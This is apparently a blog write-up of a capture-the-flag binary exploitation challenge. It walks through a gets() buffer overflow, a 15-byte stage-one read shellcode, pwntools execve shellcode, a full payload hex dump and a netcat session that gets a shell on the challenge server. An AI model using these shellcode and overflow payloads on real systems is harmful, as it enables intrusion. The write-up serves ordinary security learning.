Reverse engineering, Windows internals, x86 magic, low level programming, and everything else I feel like writing about.

CrySyS SecChallenge 2020: Bock Road

This is an entry level binary exploitation challenge. If you are familiar with the basic concepts, you should be able to solve it.

This challenge had an environment accessible over raw TCP. You can emulate it yourself on a server using nc -l -e chall -p <port>

Categories

Reverse Engineering, Exploitation, Buffer Overflow

Files

Solution

Netcatting in results in the terminal waiting for input. Entering something just results in a Nope. Time to check the binary. As usual, we start with the main function:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  gets((__int64)s);
  puts(s);
  if ( dword_40E0 != 0xDEADBEEF )
  {
    puts("Nope");
    exit(1);
  }
  puts("Congratulations, you have successfully modified the variable.");
  return 0LL;
}

Hm, this seems pretty useless. We can clearly do buffer overflow with the vulnerable puts function, but there doesn’t seem to be anything related to flag here. Let’s see what’s near s:

.bss:00000000000040A0 ; char s[64]
.bss:00000000000040A0 s               db 40h dup(?)           ; DATA XREF: main+43↑o
.bss:00000000000040A0                                         ; main+51↑o
.bss:00000000000040E0 dword_40E0      dd ?                    ; DATA XREF: main+5D↑r
.bss:00000000000040E4 xmmword_40E4    xmmword ?               ; DATA XREF: sub_1080+2B↑o
.bss:00000000000040E4                                         ; sub_1080:loc_10C7↑r
.bss:00000000000040F4 dword_40F4      dd ?                    ; DATA XREF: sub_1080↑r

So we have dword_40E0 right after s, an unknown xmmword and an unknown dword, both referenced by sub_1080. What might sub_1080 be?

sub_1080

Seems like it checks the dword for CAFEBABE, allocates an executable page, copies the xmmword we control and jumps into it. Almost seems too good to be true. And who’s calling this function anyways?

.fini_array:0000000000003DE8 _fini_array     segment para public 'DATA' use64
.fini_array:0000000000003DE8                 assume cs:_fini_array
.fini_array:0000000000003DE8                 ;org 3DE8h
.fini_array:0000000000003DE8 off_3DE8        dq offset sub_1230      ; DATA XREF: init+1D↑o
.fini_array:0000000000003DF0                 dq offset sub_1080
.fini_array:0000000000003DF0 _fini_array     ends

That looks like a global destructor, which are called when main returns. This also means we must pass the DEADBEEF check, because else exit() is called. How could we get shell with only 16 bytes? Fortunately our input seems to be stdin, so getting more code from stdin would be a great way to send more code to run, if we could get it read more from us. Let’s check how the read syscall works:

rax = 0 (sys_read)
rdi = unsigned int fd (stdin = 0)
rsi = char *buf
rdx = size_t count

I came up with the following shellcode for calling it:

xor    edi, edi
lea    rdx, [rdi+0x7f]
lea    rsi, [rip+0x2]
syscall

Why am I using lea when rdi is 0? Because this lets the assembler use the byte offset form of lea, making the entire instruction only 4 bytes, whereas mov rdx, 0x7f would be 7 bytes. What’s more I even ended up a byte short. Now we only need a payload.

>>> from pwn import *
>>> context(arch='amd64')
>>> asm(shellcraft.sh())
'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'

The input will have a construction like 'a' * 64 + 0xDEADBEEF + <first shellcode> + 0xCAFEBABE + \n + <payload>. Here’s the final result:

Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
00000010  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
00000020  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
00000030  61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
00000040  EF BE AD DE 31 FF 48 8D 57 7F 48 8D 35 02 00 00  ï¾.Þ1ÿH.W.H.5...
00000050  00 0F 05 FF BE BA FE CA 0A 6A 68 48 B8 2F 62 69  ...ÿ¾ºþÊ.jhH¸/bi
00000060  6E 2F 2F 2F 73 50 48 89 E7 68 72 69 01 01 81 34  n///sPH‰çhri...4
00000070  24 01 01 01 01 31 F6 56 6A 08 5E 48 01 E6 56 48  $....1öVj.^H.æVH
00000080  89 E6 31 D2 6A 3B 58 0F 05 00 00 00 00 00 00 00  ‰æ1Òj;X.........
00000090  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000000A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000000B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000000C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000000D0  00 00 00 00 00 00 00 00                          ........

Time to test it against our target: cat solution - | nc 1.2.3.4 12345:

user@ubuntu:~$ cat solution - | nc 1.2.3.4 12345
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaᆳ�1�H�PH�5
Congratulations, you have successfully modified the variable.
ls
chall
flag.txt
cat flag.txt
cd20{REDACTED}
exit
^C